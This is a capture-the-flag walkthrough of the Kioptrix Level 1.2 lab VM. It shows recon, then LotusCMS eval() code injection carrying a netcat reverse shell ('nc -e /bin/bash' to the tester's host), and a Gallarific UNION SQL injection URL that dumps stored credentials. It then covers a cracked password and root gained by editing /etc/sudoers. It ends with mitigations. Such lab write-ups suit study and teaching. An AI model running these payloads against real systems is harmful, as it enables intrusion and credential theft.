

KIOPTRIX: LEVEL 1.2 WALKTHROUGH



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1. BOX DESCRIPTION

Description: “As with the other two, this challenge is geared towards the beginner. It is however different. Added a few more steps and a new skill set is required. Still being the realm of the beginner I must add. The same as the others, there’s more than one way to “pwn” this one. There’s easy and not so easy. Remember... the sense of “easy” or “difficult” is always relative to ones own skill level. I never said these things were exceptionally hard or difficult, but we all need to start somewhere. And let me tell you, making these vulnerable VMs is not as easy as it looks...”


Difficulty: Easy

Link: <https://www.vulnhub.com/entry/kioptrix-level-12-3,24/>

2. TOOLS

Tool	Purpose
Nmap	Network scanning
Burpsuite	Modify and send HTTP requests
Kali Linux	An operating system which is specifically designed for penetration testing.
Netcat	Remote shell access
Crackstation.net	Hashed password cracker

3. METHODOLOGY



1. **Reconnaissance:** The attacker gathers information about the network infrastructure and systems.

1.1. **Network scanning:** Network scanning is when the tester interacts with the target by scanning their IP address to identify live ports. This process aims to enumerate live ports, thereby enabling the tester to uncover details such as service versions and machine names.

1.2. **Vulnerability identification:** Using online resources, scanning tools and the Common Vulnerability Entry database to locate potential vulnerabilities for the services found in the previous step.

2. **Exploitation:** Exploiting vulnerabilities in the user's system to gain a foothold.

2.1. **SQLi:** SQLi (SQL injection) is a type of cyber-attack where malicious SQL code is injected into a vulnerable application's database query, allowing unauthorized access, data manipulation, or data extraction. In this case, the SQL statement was inserted into the URL of the target's web application to gain remote access.

2.2. **Remote Command Execution:** RCE is a cyber-attack method that enables an attacker to execute arbitrary commands on a remote system, granting them

unauthorized control. RCE was achieved by sending a reverse shell to the target machine via the vulnerable Lotus CMS login portal.


- 3. Privilege escalation:** Privilege escalation is the process of gaining higher levels of access or permissions within a system or network, beyond what is originally granted. It involves exploiting vulnerabilities or misconfigurations to elevate privileges and gain unauthorized control. In this instance, the login credential for a developer account were found in a configuration file and the sudoers file could be edited to provide sudo privileges to non-root users.

4. WALKTHROUGH

4.1 RECONNAISSANCE

1. The netdiscover command reveals the IP address of the target machine to be 10.0.2.17.

command: `sudo netdiscover 10.0.2.0/24 -i eth0`




The screenshot shows the netdiscover application interface. It displays a table of captured ARP packets. The IP address 10.0.2.17 is highlighted with a red box.

IP	At MAC Address	Count	Len	MAC Vendor / Hostname
10.0.2.1	52:54:00:12:35:00	1	60	Unknown vendor
10.0.2.2	52:54:00:12:35:00	1	60	Unknown vendor
10.0.2.3	08:00:27:49:dc:15	1	60	PCS Systemtechnik GmbH
10.0.2.17	08:00:27:8a:76:3f	1	60	PCS Systemtechnik GmbH

Figure 4.1.1: Results of netdiscover scan

2. The target network is then scanned using the network scanning tool Nmap. The scan reveals two open ports. OpenSSH is open on port 22, and an Apache web server is running on port 80.

command: `nmap -sV -sT -p- 10.0.2.17`



The screenshot shows the Nmap command-line interface. The scan results for IP address 10.0.2.17 are displayed. The open ports 22/tcp (ssh) and 80/tcp (http) are highlighted with red circles.

```
(kali@kali)-[~]
$ nmap -sT -sV -A -p- 10.0.2.17
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-29 19:33 EDT
Nmap scan report for kioptrix3.com (10.0.2.17)
Host is up (0.00021s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
| ssh-hostkey:
|   1024 30:e3:f6:dc:2e:22:5d:17:ac:46:02:39:ad:71:cb:49 (DSA)
|_  2048 9a:82:e6:96:e4:7e:d6:a6:d7:45:44:cb:19:aa:ec:dd (RSA)
80/tcp    open  http     Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
|_ http-cookie-flags:
|   /:
|   PHPSESSID:
|_  httponly flag not set
|_ http-title: Ligoat Security - Got Goat? Security ...
|_ http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.62 seconds
```

Figure 4.1.2: Results of nmap scan on IP address 10.0.2.16

3. The web server runs three pages: a home page, a blog page, and a login page.




Figure 4.1.3: Homepage of Kioptrix3 website




Figure 4.1.4: Blog page on Kioptrix3 website




Figure 4.1.5: Login portal hosted on Kioptrix 3 website

4.2 SQLi

- 4 Researching the LotusCMS login service reveals that it is vulnerable to Remote Command Execution (RCE). According to [rapid7.com](https://www.rapid7.com) “This module exploits a vulnerability found in Lotus CMS 3.0's Router() function. This is done by embedding PHP code in the 'page' parameter, allowing arbitrary code execution.”

LotusCMS 3.0 eval() Remote Command Execution

Disclosed	Created
03/03/2011	05/30/2018

Description

This module exploits a vulnerability found in Lotus CMS 3.0's Router() function. This is done by embedding PHP code in the 'page' parameter, which will be passed to a eval call, therefore allowing remote code execution. The module can either automatically pick up a 'page' parameter from the default page, or manually specify one in the URI option. To use the automatic method, please supply the URI with just a directory path, for example: "/lcms/". To manually configure one, you may do: "/lcms/somepath/index.php?page=index"

Figure 4.2.1: Description of Lotus CMS RCE vulnerability




Figure 4.2.2: Burp suite repeater feature is used to send a modified post request to the target machine's web server.

- Figure 4.2.2 displays the results of including a print statement in the page parameter. This reveals that inserting php code into the "page" parameter allows the tester to execute commands. In the screenshot, the tester successfully prints "Vulnerability present".

Post request: `10.0.2.17/index.php?page=index');${print("Vulnerability present") "});#`

- Since it is now confirmed that the page parameter can be used for RCE, the next step is to insert a reverse shell using the system function. The command provided below uses a reverse shell to connect the host machine to the target machine.

Post request: `10.0.2.17/index.php?page=index');${system("nc -e /bin/bash 10.0.2.15 1234")});#`



Figure 4.2.3: Reverse shell included in the POST request to the target machine's web server.

- 7 Opening up a netcat listener on the specified port "1234" provides remote access to the target machine.

Command: `Nc - nlvp 1234`



Figure 4.2.4: Netcat listener setup on port 1234 provides remote access to the target machine.

4.3 PRIVILEGE ESCALATION

- 1 The directory `/home/loneferret` stores a file called `CompanyPolicy.README`, which states that it is company policy to use the `sudo ht` command when reading, editing or viewing files. At this time we do not have enough privilege to execute `sudo` commands.





Figure 4.3.1: Contents of `CompanyPolicy.README`


- 2 Further exploration of the target machine reveals that it may be running phpMyAdmin, the web-based MYSQL manager.



```
networks
nsswitch.conf
opt
pam.conf
pam.d
passwd
passwd-
pcmcia
perl
php5
phpmyadmin
popularity-contest.conf
ppp
profile
profile.d
protocols
python
python2.5
rc.local
rc0.d
```

Figure 4.3.2: Target machine is running phpMyAdmin

- 3 The gconfig file stored in the directory `/home/www/kioptrix3.com/gallery/gconfig.php` stores the configuration settings for the MYSQL database, including login credentials. Navigating to phpMyAdmin web application and entering these credentials provides access to the gallarific database.



```
cat gconfig.php
<?php
error_reporting(0);
/*
A sample Gallarific configuration file. You should edit
the installer details below and save this file as gconfig.php
Do not modify anything else if you don't know what it is.
*/
// Installer Details
// Enter the full HTTP path to your Gallarific folder below,
// such as http://www.yoursite.com/gallery
// Do NOT include a trailing forward slash
$GLOBALS["gallarific_path"] = "http://kioptrix3.com/gallery";
$GLOBALS["gallarific_mysql_server"] = "localhost";
$GLOBALS["gallarific_mysql_database"] = "gallery";
$GLOBALS["gallarific_mysql_username"] = "root";
$GLOBALS["gallarific_mysql_password"] = "fuckeyou";
// Setting Details
if(!$g_mysql_c = @mysql_connect($GLOBALS["gallarific_mysql_server"], $GLOBALS["gallarific_mysql_username"], $GLOBALS["gallarific_mysql_password"])) {
    echo("A connection to the database couldn't be established: " . mysql_error());
    die();
}
else {
    if(!$g_mysql_d = @mysql_select_db($GLOBALS["gallarific_mysql_database"], $g_mysql_c)) {
        echo("The Gallarific database couldn't be opened: " . mysql_error());
        die();
    }
    else {
        $settings=mysql_query("select * from gallarific_settings");
        if(mysql_num_rows($settings)≠0){
            while($data=mysql_fetch_array($settings)){
                $GLOBALS["{$data['settings_name']}"]=$data['settings_value'];
            }
        }
    }
}
```

Figure 4.3.3: The username and password of SQL server is stored in gconfig.php



The image shows the phpMyAdmin login page. At the top is the phpMyAdmin logo, which features a stylized sailboat and the text 'phpMyAdmin'. Below the logo, it says 'Welcome to phpMyAdmin 2.11.3deb1ubuntu1.3'. There is a 'Language' dropdown menu set to 'English (utf-8)'. Below that is a 'Log in' section with 'Username:' and 'Password:' labels. The username field contains 'root' and the password field contains nine dots. A 'Go' button is to the right of the password field. At the bottom, there is a yellow warning box with an information icon and the text 'Cookies must be enabled past this point.'

Figure 4.3.4: Successful login to phpMyAdmin provides access to the target machines SQL server

- 4 The gallery database contains 7 tables, however the most notable is named “**dev_accounts**”. The blog page mentions that a new lead developer named “**loneferret**” has recently been hired. Searching the database for this username reveals a hashed password.




Figure 4.3.5: Hashed password of loneferret is stored in the SQL database

- Crackstation.net reveals the password to be “starwars”.




Figure 4.3.6: Crackstation.net reveals the password to be “starwars”

- Now that we have the username “loneferret” and the password “startwars”, we can SSH to login to the developer account.

```
(kali㉿kali)-[~]
$ ssh -oHostKeyAlgorithms=ssh-rsa loneferret@10.0.2.17

The authenticity of host '10.0.2.17 (10.0.2.17)' can't be established.
RSA key fingerprint is SHA256:NdsBnvaQieyTUKFzPjRpTVK6jDGM/xWwUi46IR/h1jU.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.0.2.17' (RSA) to the list of known hosts.
loneferret@10.0.2.17's password:
Linux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
Last login: Mon May  8 22:15:02 2023 from 10.0.2.10
loneferret@Kioptrix3:~$
```

Figure 4.3.7: Using secure shell to succesfully login as loneferret.

- 7 Before being able to execute any commands the terminal environment must be set to xterm-256color.

Command: export TERM=xterm-256color

- 8 Executing the sudo ht command that is detailed in the “CompanyPolicy.README” loads up a text editing software. From here we are able to alter the privileges of the loneferret developer to allow them to execute sudo commands without requiring a password.





Figure 4.3.8: Screenshot of sudo ht text editor

- 9 The first step is to navigate to the `/etc/sudoers` file in order to view and edit the sudo privileges of loneferret.



```
[~]  
# /etc/sudoers  
# This file MUST be edited with the 'visudo' command as root.  
# See the man page for details on how to write a sudoers file.  
#  
Defaults        env_reset  
  
# Host alias specification  
  
# User alias specification  
  
# Cmnd alias specification  
  
# User privilege specification  
root    ALL=(ALL) ALL  
loneferret ALL=NOPASSWD: !/usr/bin/su, /usr/local/bin/ht, /bin/bash  
  
# Uncomment to allow members of group sudo to not need a password  
# (Note that later entries override this, so you might need to move  
# it further down)  
# %sudo ALL=NOPASSWD: ALL  
  
# Members of the admin group may gain root privileges  
%admin ALL=(ALL) ALL
```


Figure 4.3.9: `sudo ht` is used to read and edit the `/etc/sudoers` file

- 10 Current settings prevent loneferret from switching users but allows them to perform `sudo ht` and execute bash commands.

Changing loneferret's sudo privilege's to:

```
Privilege: Loneferret ALL=(ALL) NOPASSWD:ALL
```

allows the user to execute all sudo commands without requiring the root password.



```
[*]
# /etc/sudoers
#
# This file MUST be edited with the 'visudo' command as root.
#
# See the man page for details on how to write a sudoers file.
#

Defaults            env_reset

# Host alias specification

# User alias specification

# Cmnd alias specification


# User privilege specification
root    ALL=(ALL) ALL
loneferret ALL=(ALL) NOPASSWD:ALL

# Uncomment to allow members of group sudo to not need a password
# (Note that later entries override this, so you might need to move
# it further down)
# %sudo ALL=NOPASSWD: ALL

# Members of the admin group may gain root privileges
%admin ALL=(ALL) ALL, loneferret
```

Figure 4.3.10: loneferret sudo privileges are edited to allow use of the sudo command without requiring the root password

- 11 Being able to execute sudo without a password now means that the user can finally open and read Congrats.txt to retrieve the flag.



```
root@Kioptrix3:/root# ls
Congrats.txt ht-2.0.18
root@Kioptrix3:/root# cat Congrats.txt
Good for you for getting here.
Regardless of the matter (staying within the spirit of the game of course)
you got here, congratulations are in order. Wasn't that bad now was it.

Went in a different direction with this VM. Exploit based challenges are
nice. Helps workout that information gathering part, but sometimes we
need to get our hands dirty in other things as well.
Again, these VMs are beginner and not intended for everyone.
Difficulty is relative, keep that in mind.

The object is to learn, do some research and have a little (legal)
fun in the process.

I hope you enjoyed this third challenge.

Steven McElrea
aka loneferret
http://www.kioptrix.com

Credit needs to be given to the creators of the gallery webapp and CMS used
for the building of the Kioptrix VM3 site.

Main page CMS:
http://www.lotuscms.org

Gallery application:
Gallarific 2.1 - Free Version released October 10, 2009
http://www.gallarific.com
Vulnerable version of this application can be downloaded
from the Exploit-DB website:
http://www.exploit-db.com/exploits/15891/

The HT Editor can be found here:
http://hte.sourceforge.net/downloads.html
And the vulnerable version on Exploit-DB here:
http://www.exploit-db.com/exploits/17083/

Also, all pictures were taken from Google Images, so being part of the
public domain I used them.

root@Kioptrix3:/root#
```

Figure 4.3.11: The contents of Congrats.txt

4.4 ADDITIONAL VULNERABILITIES

- 1 Interestingly, the photo gallery software used by Kioptrix3.com also contains a vulnerability.




Figure 4.4.1: Kioptrix3.com lists the name of the photo gallery software to be gallarific.

- 2 Researching gallarific reveals that it is also vulnerable to SQL injection. The vulnerability is listed as [CVE-2011-0519](#) in the Common Vulnerability Entry list.

HOME > CVE > CVE-2011-0519

CVE-ID
CVE-2011-0519 [Learn more at National Vulnerability Database \(NVD\)](#)
 • CVSS Severity Rating • Fix Information • Vulnerable Software Versions • SCAP Mappings • CPE Information

Description
 SQL injection vulnerability in gallery.php in Gallarific PHP Photo Gallery script 2.1 and possibly other versions allows remote attackers to execute arbitrary SQL commands via the id parameter.

References
 Note: References are provided for the convenience of the reader to help distinguish between vulnerabilities. The list is not intended to be complete.

Figure 4.4.2: The CVE entry of the gallarific photo gallery

- 3 [Exploit DB](#) provides an example of the URL that can be used to perform SQLi.

```

#####
.. Author      : AtT4CKxT3rR0r15T [F.Hack@w.cn]
.. Script      : http://www.gallarific.com/download.php
.. Dork        : inurl:"/gadmin/index.php"
#####

===[ Exploit ]===

www.site.com/gallery.php?id=null[Sql Injection]

www.site.com/gallery.php?id=null+and+1=2+union+select+1,group_concat(userid,0x3a,username,0x3a,password),3,4,5,6,7,8+from+gallarific_users--

===[ Admin Panel ]===

www.site.com/gadmin/index.php
#####

```

Figure 4.4.3: Exploit DB explanation of how to exploit an SQLi vulnerability in the software.

- 4 The result of the SQLi attack causes the website to display the username and password of the user “admin”.

SQLi code:
[http://kioptrix3.com/gallery/gallery.php?id=null+and+1=2+union+select+1,group_concat\(userid,0x3a,username,0x3a,password\),3,4,5,6+from+gallarific_users--](http://kioptrix3.com/gallery/gallery.php?id=null+and+1=2+union+select+1,group_concat(userid,0x3a,username,0x3a,password),3,4,5,6+from+gallarific_users--)




Figure 4.4.4: SQL injection provides the admin username and password

- 5 Exploit DB also provides the URL of the admin login portal. The portal is provided at www.10.0.2.17.com/gallery/gadmin/index.php as seen in figure 4.4.5.

```

#####
.. Author      : AtT4CKxT3rR0r15T [F.Hack@w.cn]
.. Script      : http://www.gallarific.com/download.php
.. Dork        : inurl:"/gadmin/index.php"

#####

===[ Exploit ]===

www.site.com/gallery.php?id=null[Sql Injection]

www.site.com/gallery.php?id=null+and+1=2+union+select+1,group_concat(userid,0x3a,username,0x3a,password),3,4,5,6,7,8+from+gallarific_users--

===[ Admin Panel ]===

www.site.com/gadmin/index.php

#####

```

Figure 4.4.5: Exploit DB reveals the URL of the gallery's admin login page




Figure 4.4.6: Successful login to admin page

- 6 From here the user is able to create, upload, edit and delete new images and galleries.

5. MITIGATIONS

SQLi: The SQLi vulnerability can be removed by implementing input validation and sanitisation techniques. All user input should be filtered to ensure that it does not contain any malicious code. Server-side validation and client-side input sanitisation should be implemented to provide an additional layer of protection. Additionally, both the gallarific and Lotus CMS software should be updated to their most recent releases.

Weak passwords: The web developer “loneferret” uses a common password. Password policy should be implemented to force passwords of a minimum 8-character length, containing both symbols and capitals. Developers should be discouraged from using common words or phrases such as “Starwars”.

Sensitive data exposure: Usernames and passwords should not be stored in plain text, or hard coded into configuration files. Implementing encryption at rest or hashing usernames and passwords will provide an additional layer of data protection.